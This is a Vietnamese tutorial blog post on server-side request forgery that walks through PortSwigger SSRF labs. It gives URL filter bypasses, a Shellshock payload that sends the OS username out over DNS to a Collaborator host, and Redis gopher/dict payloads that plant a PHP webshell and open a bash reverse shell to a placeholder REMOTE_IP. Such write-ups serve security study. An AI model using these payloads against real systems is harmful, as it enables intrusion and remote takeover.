@iamproz2911
Bài viết gồm 2 phần là:
+Lý thuyết
+Khai thác các bài Lab của Postswiger về lỗ hổng này.**
### **1. Lý thuyết**
SSRF là một lỗ hổng bảo mật xảy ra khi một ứng dụng web cho phép kẻ tấn công gửi yêu cầu từ máy chủ của ứng dụng đến một địa chỉ mà chúng chỉ định. Điều này có thể dẫn đến nhiều hậu quả nghiêm trọng.
Nguyên nhân
Thiếu kiểm tra đầu vào: Ứng dụng không kiểm soát hoặc lọc các URL mà người dùng có thể nhập.
Cấu hình sai: Các dịch vụ nội bộ có thể không được bảo vệ, cho phép truy cập từ bên ngoài.
Cách hoạt động
Kẻ tấn công gửi yêu cầu: Kẻ tấn công gửi một yêu cầu đến ứng dụng với một URL mà họ muốn máy chủ truy cập.
Máy chủ thực hiện yêu cầu: Máy chủ của ứng dụng thực hiện yêu cầu đến URL chỉ định, có thể là một dịch vụ nội bộ hoặc một máy chủ bên ngoài.
Kết quả trả về: Ứng dụng có thể trả về dữ liệu từ yêu cầu, cho phép kẻ tấn công thu thập thông tin nhạy cảm.
Hệ quả
Tiết lộ thông tin: Kẻ tấn công có thể truy cập vào dịch vụ nội bộ, như API hoặc cơ sở dữ liệu.
Khai thác hệ thống: Có thể dẫn đến các cuộc tấn công tiếp theo, như RCE (Remote Code Execution).
Tấn công DDoS: Kẻ tấn công có thể lợi dụng để thực hiện tấn công từ chối dịch vụ.
Phòng ngừa
Kiểm tra và xác thực URL: Đảm bảo rằng URL được nhập vào là hợp lệ và nằm trong danh sách cho phép.
Giới hạn truy cập: Ngăn chặn ứng dụng truy cập vào các dịch vụ nội bộ không cần thiết.
Sử dụng mạng riêng: Bảo vệ các dịch vụ nội bộ khỏi truy cập từ bên ngoài.
### **2. Lab Server-side request forgery (SSRF) in Postswigger**
#### **Lab1**: Basic SSRF against the local server
##### Mô tả:
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.
##### Exploit
B1: Truy cập vào website, click vào product bất kì và quan sát request ở Burpsuit

Website có chức năng kiểm tra hàng tồn kho stock để lấy dữ liệu từ địa chỉ nội bộ.

B2:Check stock và quan sát ở burp

=> Nhận thấy stock api trỏ đến địa chỉ http://stock.weliketoshop.net:8080/product/stock/check?productId=2&storeId=1
B3: Thay đổi địa chỉ thành địa chỉ local admin đã cho
http://localhost/admin


=>Web dính lỗ hổng SSRF, có thể truy cập vào website nội bộ
B4: Xóa username=calos và gửi request


#### **Lab2**:Basic SSRF against another back-end system
##### Mô tả:
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.
##### Exploit:
B1: Truy cập website, chọn sản phẩm bất kì, check stock và kiểm tra request

B2: Thay đổi địa chỉ của stockapi
Đề bài cho sẵn ip=192.168.0.X và port:8080

B3: Obfuscate X (octet thứ 4) để tìm ra số chính xác
Mỗi octet có giá trị từ 0 đến 255.
=> Chuyển Request qua tab Intruder
Add $ vào vị trí X

và sử dụng number payload để Obfuscate.
Cho phép payload chạy tuần tự, start1->end254 và step1 bước nhảy.

=> Kết quả: (Request có sự khác biệt về length,status,...)

Vậy địa octet thứ 4 chính là 252
=> IPv4 hoàn chỉnh của admin là http://192.168.0.252:8080
B4: Truy cập vào admin và xóa username=carlos


#### **Lab3**: SSRF with blacklist-based input filter
##### Mô tả:
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.
The developer has deployed two weak anti-SSRF defenses that you will need to bypass.
##### Exploit:
Website sử dụng blacklist để chặn các địa chỉ ip không cho phép truy cập.
B1: Truy cập website chọn sản phẩm bất kì, check stock của sản phẩm đó và quan sát request

Thay đổi stockAPI tới đường dẫn admin đã cho
http://localhost/admin

=> Website báo lỗi bị chặn vì lí do bảo mật
B2: Bypass Blacklist
Blacklist có nghĩa thêm một địa chỉ vào danh sách cấm của nó. Vậy việc truy cập local/admin không thành công đồng nghĩa với việc, Blacklist của website đã chứa tên địa chỉ đó (http://localhost/admin).
=>Nhưng nếu ta truy cập một website tương đồng với local.admin có nghĩa là khác tên địa chỉ nhưng đều trỏ tới địa chỉ như nhau thì vẫn sẽ được vì blacklist không cấm tên đó.
Localhost = 127.0.0.1
Truy cập 127.0.0.1 vẫn bị cấm -> đổi qua 127.1 rút gọn 2 octet nhưng vẫn trỏ tới địa chỉ của localhost.
B3: Bypass Admin
Thay đổi stockAPI

Phát hiện vẫn bị chặn, tuy nhiên nếu bỏ admin ra thì website vẫn có thể truy cập.

Vậy thì từ admin cũng đã bị blacklist
Tương tự thì admin có thể bypass thành AdMiN, %2561,...

Đã truy cập được
B4: Gửi Request xóa username=carlos


#### **Lab4**: SSRF with whitelist-based input filter
##### Mô tả:
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.
The developer has deployed an anti-SSRF defense you will need to bypass.
##### Exploit:
Khác với Blacklist, Whitelist là cách ngăn chặn an toàn và logic hơn, hay được dev sử dụng.
=> Tốt nhất vẫn là kết hợp cả 2 cách!
B1: Truy cập website, chọn sản phẩm bất kì và kiểm tra kho hàng stock.

Thay đổi địa chỉ stockAPI thành địa chỉ đã cho
http://localhost/admin

B2: Kiểm tra danh sách truy cập được phép
Website thông báo chỉ được truy cập tới stock.veliketoshop.net.
Đây là địa chỉ cho phép. Sự khác nhau giữa black và whitelist là whitelist là danh sách được truy cập. Có nghĩa là chỉ những địa chỉ nào nằm trong danh sách thì mới được truy cập.
=>http://localhost/admin không có trong danh sách, mà danh sách chỉ có địa chỉ stock.veliketoshop.net

Có thể truy cập được
B3: Ví dụ thực tế
Ta có 2domain quen thuộc facebook.com và youtube.com
Vậy từ facebook.com làm sao để => youtube.com (không phải đổi tên :v)
Sử dụng dấu #

Lúc này phần sau dấu # (tức là facebook.com) không ảnh hưởng đến địa chỉ truy cập, mà chỉ là một "fragment identifier" (định danh đoạn) dùng để điều hướng trong trang.

Website trỏ tới Youtube!
B4: Áp dụng vào lab
Web được cho phép vào là stock.veliketoshop.net web bị chặn là http://localhost/admin
vậy sử dụng dấu # để biến stock.veliketoshop.net thành phần fragment identifier

Tuy nhiên không thành công

Lí do:Dấu # được coi là ký tự đặc biệt trong URL và chỉ định phần "fragment" (đoạn) của URL. Bất kỳ nội dung nào sau dấu # sẽ không được gửi tới máy chủ, mà chỉ được xử lý ở phía client (trình duyệt).
Nên nó sẽ xóa luôn phần sau dấu # #stock.veliketoshop.net/admin/delete?username=carlos
=>Sử dụng double encode %2523
Ở đây, %2523 là mã hóa của ký tự #. %25 là mã hóa cho ký tự %, và %23 là mã hóa cho ký tự #.
Khi máy chủ nhận URL này, nó sẽ giải mã %2523 thành %23, và sau đó # sẽ được xử lý như một phần của URL thay vì là một phân đoạn.
B5: Sử đường dẫn tới localadmin và xóa username=carlos
```
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
```
Sử dụng @ =>@stock.weliketoshop.net: Phần này thường được dùng để chỉ định thông tin xác thực (username:password), nhưng trong trường hợp này nó có thể không cần thiết.


#### **Lab5**:SSRF with filter bypass via open redirection vulnerability
##### Mô tả:
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.
The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.
##### Exploit:
B1:Truy cập website, chọn sản phẩm bất kì và kiểm tra kho hàng stock.

Thay đổi địa chỉ stockAPI thành địa chỉ đã cho
http://192.168.0.12:8080/admin

=> invalid external stock, không thể bypass.
B2: Kiểm tra chức năng khác
Phát hiện chức năng nextproduct


Quan sát rằng tham số đường dẫn được đặt vào tiêu đề Vị trí của phản hồi chuyển hướng, dẫn đến chuyển hướng mở.
Gán luôn đường dẫn nextproduct vào stockAPI hiện tại thì trỏ được tới trang web

=>Nhận xét:
Ứng dụng có thể không kiểm tra đầy đủ các giá trị trong stockApi, cho phép gửi yêu cầu đến một endpoint không được phép.
Kết quả là, khi gửi yêu cầu với giá trị mới cho stockApi, ứng dụng sẽ xử lý nó như một yêu cầu hợp lệ.
B3: Redirection tới trang admin bằng chức năng nextproduct
```
/product/nextProduct?currentProductId=2%26path=http://192.168.0.12:8080/admin
```

B4: Xóa username=carlos và gửi request


#### **Lab6**:Blind SSRF with out-of-band detection
##### Mô tả:
This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.
> Note:To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.
##### Exploit:
Website chỉ cho phép sử dụng Burp Collaborator để tương tác với website.
Burp Collaborator chỉ có ở bản Professional.
B1: Truy cập website, chọn sản phẩm bất kì và quan sát request.
-> web không sử dụng stockAPI để check kho nữa.
-> Burp Collaborator cho phép tạo các URL mà ứng dụng mục tiêu có thể gọi, giúp theo dõi và phân tích các yêu cầu từ xa.
B2: Tìm vị trí chèn payload

=>Referer (hay "Referrer") là một trường trong HTTP header cho biết URL của trang web mà yêu cầu hiện tại được gửi từ đó.
Vậy ta tập trung vào Referer để khai thác.
B3: Khởi động BurpCollaborator


Thay thế miền ban đầu ở Referer bằng miền do Burp Collaborator tạo.
s0t6b9md1fb87nz08uskwgzvlmrcf1.oastify.com

B4: Gửi Request và nhấn pollnow ở Burp Collaborator Client.

Kết quả:

=>Nhận xét:
Ứng dụng có khả năng thực hiện các yêu cầu đến các địa chỉ mà mình chỉ định, cho thấy nó có thể xử lý các URL không được kiểm soát (SSRF).
Và nhận thấy phản hồi từ Burp Collaborator, điều này chứng tỏ rằng yêu cầu đã được gửi thành công đến máy chủ và có thể kiểm soát các yêu cầu từ phía ứng dụng.

#### **Lab7(Expert)**:Blind SSRF with Shellshock exploitation
##### Mô tả:
This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.
> Note: To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.
##### Exploit:
Lab này vẫn phải sử dụng đến Burp Collaborator. Để dùng Shellshock cần hiểu nó và biết về bashscript.
Link tài liệu: [Shellshock](https://metalkey.github.io/shellshock-explained--exploitation-tutorial.html) và [Bashscript](https://viblo.asia/p/tim-hieu-ve-bash-script-co-ban-07LKXNwklV4)
B1: Truy cập website, chọn sản phẩm bất kì và quan sát request.
Website không sử dụng stockAPI để kiểm tra hàng.

-> Chắc chắn phải dùng outofband để tương tác từ bên ngoài.
Đề yêu cầu: Tìm OS user vậy lệnh RCE command sẽ là ('whoami')
B2: Khởi động BurpCollaborator và thay thế domain ở referer

Gửi request => Pollnow và kết quả đã hiển thị cho thấy web bị SSRF

B3: Sử dụng extension Collaborator Everywhere kiểm tra Blind SSRF
=>Tính năng này giúp dễ dàng chèn các URL từ Burp Collaborator vào các yêu cầu đang kiểm tra, giúp phát hiện và khai thác các lỗ hổng bảo mật một cách hiệu quả hơn.


Truy cập tab target (phải add domain lab vào scope trước) và chọn product bất kì để xem Issues

=>Nhận thấy một số ping back connection đến collaborator, trong đó có connection từ trường Referer và User-Agent.
(1)Khi ứng dụng nhận yêu cầu từ một URL có trường Referer, nó có thể thực hiện một yêu cầu mới (fetch) đến URL mà Referer chỉ định. Hành động này tạo ra một kết nối ping back đầu tiên đến Burp Collaborator.
(2)Trường User-Agent trong yêu cầu ban đầu chứa thông tin về trình duyệt hoặc ứng dụng của người dùng. Khi ứng dụng gửi yêu cầu mới (fetch) đến URL trong Referer, nó có thể sử dụng cùng một trường User-Agent từ yêu cầu ban đầu.
=>Kết nối ping back thứ hai: Do yêu cầu mới được gửi đi với cùng trường User-Agent, điều này có thể dẫn đến một kết nối ping back thứ hai đến Burp Collaborator, sử dụng thông tin từ yêu cầu ban đầu.
B4: Tạo payload shellshock
() { :; };: đây định nghĩa một hàm trong bash hàm không có tên và rỗng, nhưng không mắc lỗi.
Sử dụng nslockup để truy vấn DNS.
usr/bin/nslookup
$(whoami):Đây là một lệnh con (subcommand) trong Bash, lấy OS User
Cuối cùng chèn đường dẫn tới Burp Collaborator Điều này cho phép gửi thông tin từ máy chủ mục tiêu đến Burp Collaborator
Kết hợp và ta có payload như sau:
```
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
```
Về phần Referer chèn đường dẫn tới máy chủ nội bộ đã cho trước khi fetch URL ở referer thì payload ở User-Agent đã thực thi và trả về OS user.
Kết quả như sau:

B5: Sử dụng Intruder để Bruteforce Octet ip thứ 4 192.168.0.X
Sử dụng NumberList chạy từ (1->254) bước nhảy 1 và đi theo tuần tự

=> Kết quả trả về là DNS với domain name = peter-T2DYUA

B6: Submit kết quả
peter-T2DYUA


#### Mở rộng:
SSRF còn có thể khai thác các dịch vụ khác như file,ftp,gopher... và có thể dẫn tới RCE

Các dịch vụ khác của website như redis,phpfile... có thể RCE bằng Reverse Shell
```
# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE
# Getting a PHP reverse shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
```
Có thể kết hợp với các lỗ hổng khác như XSS, hoặc có thể từ XSS sinh ra SSRF.
#### Biến thể DNS Rebinding
**Lý thuyết **
DNS rebinding là một phương pháp thao túng phân giải tên miền được sử dụng phổ biến như một hình thức tấn công máy tính. Trong cuộc tấn công này, một trang web độc hại khiến khách truy cập chạy một tập lệnh phía máy khách để tấn công các máy khác trên mạng.
**DNS Time To Live**
Trong hệ thống DNS, mỗi tên miền sau khi được hệ thống máy tính phân giải hay việc hỏi DNS Server cái Domain vừa nhập vào có IP là gì. Kết quả sẽ được lưu vào bộ nhớ đệm. Bộ nhớ đệm này sẽ giảm tải cho việc truy vấn vào DNS Server của các Client.
**Tạo DNS Rebinding**
Có thể sử dụng công cụ Rebinder trên trang lock.cmpxchg8b.com để tạo một Domain có 2 lần thay đổi địa IP A, B. Khi chạy lệnh nslookup mô phỏng cho lần phân giải đầu tiên (A). Hệ thống trả về 8.8.8.8, rõ ràng là một Public IP hợp lệ. Nhưng khi chạy lệnh Ping (hệ thống vẫn phải phân giải tên miền lần nữa ra IP thì mới làm việc được) thì nó lại trả về IP 127.0.0.1.
**Thực hành lổ hỗng tại**: [CookieArena](https://battle.cookiearena.org/challenges/web/difference-check) hoặc lab của mình tự build.
**Source code Lab DNS Rebinding**
Đây là xây dựng và triển khai môi trường apachetomcat , ngôn ngữ Java(JSP Servlet).
Clone code ở [đây](https://github.com/iseproz2911/DNSRebindingLabJava.git)
**Tài liệu**
[Payload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
[Trick](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery)
[URL validation bypass cheat sheet](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)
[Shellshock](https://www.exploit-db.com/docs/english/48112-the-shellshock-attack-%5Bpaper%5D.pdf?utm_source=dlvr.it&utm_medium=twitter)
> Bài viết có mục đích nghiên cứu lỗ hổng và học tập ôn thi chứng chỉ của Postswiger!